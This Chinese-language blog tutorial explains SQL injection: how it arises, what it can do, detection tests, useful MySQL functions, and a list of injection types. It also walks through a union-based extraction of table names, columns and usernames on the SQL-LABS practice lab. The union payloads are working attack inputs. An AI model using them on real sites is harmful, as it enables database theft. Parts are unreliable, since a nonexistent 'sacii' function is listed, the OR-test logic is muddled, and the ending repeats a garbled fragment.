文章目录

  • SQL注入漏洞简介:
  • SQL注入漏洞产生原理:
  • SQL注入漏洞利用条件:
  • SQL注入漏洞危害:
  • SQL注入过程:
    • SQL注入判断:
    • 常查询变量:
    • SQL注入常用函数:
    • 常用数据库&表&字段:
    • 注入类型:
  • SQL注入手法:
    • union注入:
      • 关键:
      • 注入流程说明:
    • 布尔注入:

SQL注入漏洞简介:

  • SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入漏洞产生原理:

  • SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

SQL注入漏洞利用条件:

  1. 参数可控:从前端传给后端的参数内容是用户可以控制的
  2. 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

SQL注入漏洞危害:

  1. 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  2. 网页篡改:通过操作数据库对特定网页进行篡改。
  3. 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  4. 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  5. 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  6. 破坏硬盘数据,瘫痪全系统。

SQL注入过程:

  1. SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
  2. 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
  3. 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
  4. 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
  5. 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

SQL注入判断:

# 数字型
?id=1 and 1=1 #返回正常
?id=1 and 1=2 #返回异常
#结果:分别返回不同的页面,说明存在注入漏洞.
#分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。也就表明程序有注入漏洞?id=1 or 2>1 #返回异常
?id=1 or 1>2    #返回正常
#结果:分别返回不同的页面,说明存在注入漏洞.
#分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。
#记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面,说明存在注入点。# 字符型
?id=1'    #返回异常
?id=1' and '1'='1'   #返回正常
?id=1' and '1'='2'   #返回异常
?id=1' and '1'='1 #返回正常
?id=1' and '1'='2 #返回异常

常查询变量:

变量 返回结果
database() 数据库名
version() 数据库版本号
user() 数据库当前用户名
@@basedir 数据库安装路径
@@version_compile_os 数据库操作系统

SQL注入常用函数:

函数名称 作用
group_concat(a) 将 a 内容的查询结果组成一个字符串
load_file(a) 读取 a 文件并将文件按字符串返回
length(a) 返回 a 的长度
like ‘a’ 判断 ‘a’ 或 ‘a*’ 是否成立
regexp ‘^a’ 判断 ‘a’ 或 ‘a*’ 是否成立
left(a,b) 从左侧截取 a 的前 b 位
mid(a,b,c) 从 b 位置开始,截取 a 字符串的 c 位
substr(a,b,c) 从 b 位置开始,截取 a 字符串的 c 位
ord(a) 返回 a 的 SACII 值
sacii(a) 返回 a 的 SACII 值
if(a,b,c) 判断条件 a 是否符合,符合则返回 b ,反之则返回 c
sleep(a) SQL延迟 a 秒

常用数据库&表&字段:

数据库 . 表 . 字段 说明
information_schema.SCHEMATA.SCHEMA_NAME 该字段提供当前 Mysql 中所有数据库名称
information_schema.TABLES.TABLE_NAME 该字段提供当前 Mysql 中所有表名称(注:该表 TABLE_SCHEMA 字段提供该表所对应的数据库名称)
information_schema.COLUMNS.COLUMN_NAME 该字段提供当前 Mysql 中所有字段名称(注:该表 TABLE_SCHEMA 字段提供该字段所对应的数据库名称,TABLE_NAME 字段提供该字段所对应的表名称)

注入类型:

注入类型 条件 关键
union注入 显示查询结果 order by , union select
布尔注入 只返回False或者True length、ord函数、二分法
报错注入 返回错误信息 updatexml、group_concat等函数
时间盲注 无返回信息判断可执行sleep sleep、if等函数
宽字节注入 数据库为GBK编码、使用了addslashes函数转义 %df’可以吃掉单引号
堆叠注入 执行多条查询语句 使用分号分隔多条查询语句
Cookie注入 在请求头中cookie参数异常 可用 sqlmap -r cook.txt - p 参数
base64注入 有base64编码过的参数 将payload进行base64编码,可用tamper
XFF注入 PHP中有getenv函数获取环境配置 x-forward-for、http_client_ip等请求头参数
二次注入 用户注册功能等 在注册中插入恶意代码,在登录中执行

SQL注入手法:

union注入:

关键:

语句 说明
union UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(注:UNION 内部的每个 SELECT 语句必须拥有相同数量的列。)
order by ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。

注入流程说明:

案例:SQL-LABS less-02

注:此为正常访问页面

  1. 判断注入

    ?id=1 and 1=1 #返回正常
    ?id=1 and 1=2 #返回异常
    #结果:分别返回不同的页面,说明存在注入漏洞.
    


    注:从返回结果上来判断,此 URL 存在注入

  2. 猜解字段数量

    ?id=1 order by <int数值>
    #<int数值>代表字段数量,<int数值>小于或等于正确字段数回显正常,<int数值>大于正确字段数回显异常
    


    注:从返回结果上来判断因存在三个字段

    说明:order by 3 的意思是以第三个字段排序,order by 4 就是以第四个字段排序,因为第不存在第四个字段所有报错,从而得出只有三个字段

  3. 联合查询猜解回显字段位置

    ?id=-1 union select 1,2,3
    #假使有回显的是当前表的第二个,那么网页将把第二个字段回显的数据改为 2
    


    注:由此可以,回显的位置在 2 和 3 的位置上

    说明:当联合查询 1,2,3 的时候会将原来的表跟 1,2,3 拼接,当判断 id=-1 不存在时,会将 1,2,3 输出到页面当中的特定位置

  4. 联合查询收集数据库信息

    # 获取当前数据库名称
    ?id=-1 union select 1,database(),3
    

    # 获取当前数据库版本
    ?id=-1 union select 1,version(),3
    

    # 获取当前数据库用户名
    ?id=-1 union select 1,user(),3
    

    # 获取当前数据库安装路径
    ?id=-1 union select 1,@@basedir,3
    

    # 获取当前数据库操作系统
    ?id=-1 union select 1,@@version_compile_os,3
    

    # 获取当前 Mysql 所有数据库名
    ?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
    

  5. 联合查询猜解表名

    # 获取当前数据库所有表名
    ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
    

  6. 联合查询猜解字段名

    # 获取 security 数据库 users 表的所有字段名
    ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'
    

  7. 联合查询猜解字段数据

    # 获取 security 数据库 users 表 username 字段的所有数据
    ?id=-1 union select 1,group_concat(username),3 from security.users
    

布尔注入:

案例:SQL-LABS less-05

注:此为正常访问页面

  1. 判断注入

    # 根据 union注入 或 SQL注入判断 手法进行判断
    
  2. 猜解收集数据库信息

  3. 猜解数据库名

  4. 猜解表名

  5. 猜解字段名

  6. 猜解字段数据

y.users


[外链图片转存中...(img-8fN5jIIA-1664179564572)]### 布尔注入:案例:SQL-LABS less-05[外链图片转存中...(img-uqxJDKWP-1664179564572)]注:此为正常访问页面1. 判断注入```sql
# 根据 union注入 或 SQL注入判断 手法进行判断
  1. 猜解收集数据库信息

  2. 猜解数据库名

  3. 猜解表名

  4. 猜解字段名

  5. 猜解字段数据

SQL注入(持续更新中)相关推荐

  1. db2dual_DB2常用SQL的写法(持续更新中...)

    DB2常用SQL的写法(持续更新中...) -- Author: lavasoft -- Date  :  2006-12-14 -- 创建一个自定义单值类型 create  distinct typ ...

  2. psid mysql_DB2常用SQL的写法(持续更新中...)

    DB2常用SQL的写法(持续更新中...) -- Author: lavasoft -- Date  :  2006-12-14 -- 创建一个自定义单值类型 create  distinct typ ...

  3. 数据库SQL语言学习--数据查询(持续更新中)

    数据库SQL语言学习--数据查询(持续更新中) 上机练习1 1.              启动SQL Server 2008中的 SQL Server Management Studio. 2.   ...

  4. 数据库SQL语言学习--上机练习2(连接查询 嵌套查询)(持续更新中)

    数据库SQL语言学习--上机练习2(连接查询 嵌套查询)(持续更新中) 上机练习2 1.              启动SQL Server 2008中的 SQL Server Management ...

  5. 数据库SQL语言学习--上机练习4(视图)(持续更新中)

    数据库SQL语言学习--上机练习4(视图)(持续更新中) 上机练习4 一.实验目的 1. 熟悉和掌握对数据表中视图的查询操作和 SQL 命令的使用: 2. 熟悉和掌握对数据表中视图的更新操作和 SQL ...

  6. JAVA面试大全(持续更新中...)

    本文旨在收集Java面试过程中出现的问题,力求全面,仅作学习交流,欢迎补充,持续更新中-,部分段落选取自网上,部分引用文章已标注,部分已记不清了,如侵权,联系本人 Java基础 1.面向对象的概述 面 ...

  7. 面试JAVA常被问到的问题(持续更新中)

    引言 有的面试会被问到有没有写博客,这时候我尴尬,不知道怎么回答,所以这篇文章仅仅是把我面试JAVA的遇到的问题记录下来而已,也算是我写博客迈出的第一步,起码,以后被问到:有没有写博客?我可以回答,我 ...

  8. 面试1:Java、微服务、架构常见面试题(持续更新中)

    Java.微服务.架构常见面试题(持续更新中) 文章目录 Java.微服务.架构常见面试题(持续更新中) ==**Java**== 1.Java概述 (1)JVM.JRE和JDK (2)Java特点 ...

  9. 我学习 Java 的历程和体会(写给新手看,欢迎老司机批评和建议,持续更新中)

    我学习 Java 的历程和体会(写给新手看,欢迎老司机批评和建议,持续更新中) 最初写这篇文章的时候,是在今年的 9 月中旬.今天,我想再写写这将近两个多月以来的感受. 在今年的 10 月我来到北京求 ...

  10. 2、线程池篇 - 从理论基础到具体代码示例讲解(持续更新中......)

    前言 暂无. 一.线程篇 有关线程部分的知识整理请看我下面这篇博客: 1.线程篇 - 从理论到具体代码案例最全线程知识点梳理(持续更新中-) 二.线程池基础知识 线程池优点 他的主要特点为: 线程复用 ...

最新文章

  1. opencv改变imshow窗口大小,窗口位置,ROI
  2. Null reference pointer was passed to the stub when not debugging with IE
  3. 【趋势】吴军:未来机器将会控制98%的人
  4. ABAP document read logic
  5. 深度学习-tensorflow1.x之交叉熵损失函数(softmax_cross_entropy_with_logits)代码实现 Tensorflow1.x 和 Numpy
  6. Netty架构与原理详解
  7. 电脑dns_女生也能学会的修电脑技巧
  8. 键盘定位板图纸_罗技K750 SOLAR太阳能无线键盘评测
  9. PS 如何去掉图片中的水印
  10. 关于Maven的7个问题
  11. 高级项目管理师/高项考试十大管理论文模板
  12. 新网站收录及备忘录网址
  13. QThread之重写run() 实现线程与业务解耦
  14. SGM—代价聚合学习笔记
  15. CAD中如何等分线段?CAD等分线段教程
  16. c语言人名首字母大写,关于字符串:如何在C中大写名字和姓氏的首字母?
  17. Pandas快速合并多张excel表格
  18. 给合肥市社保局和社保明细打印系统提一提改进建议
  19. C/C++ 自制一个基于zlib的文件的(解)压缩系统
  20. 将python脚本打包为exe可执行文件

热门文章

  1. 宗地图绘制要求和规范_国内土地市场宗地图的绘制标准制图规范-【领仕网】...
  2. 为什么非零实对称矩阵一定是正定矩阵
  3. 如何搭建一个简单的QQ机器人(基于mirai)
  4. ARINC429数据总线简介
  5. python实现A星算法(寻路)
  6. google四件套之Dagger2。从入门到爱不释手,之:Dagger2基础知识及在Java中使用(2)
  7. 谷歌地图高精度模型提取4(完结篇)
  8. 刷入Magisk通用方法
  9. 剪映怎么把无字幕的英文视频翻译成制作成中文字幕?(附教程+剪映字幕翻译工具免费下载)...
  10. 自然语言处理技术发展简史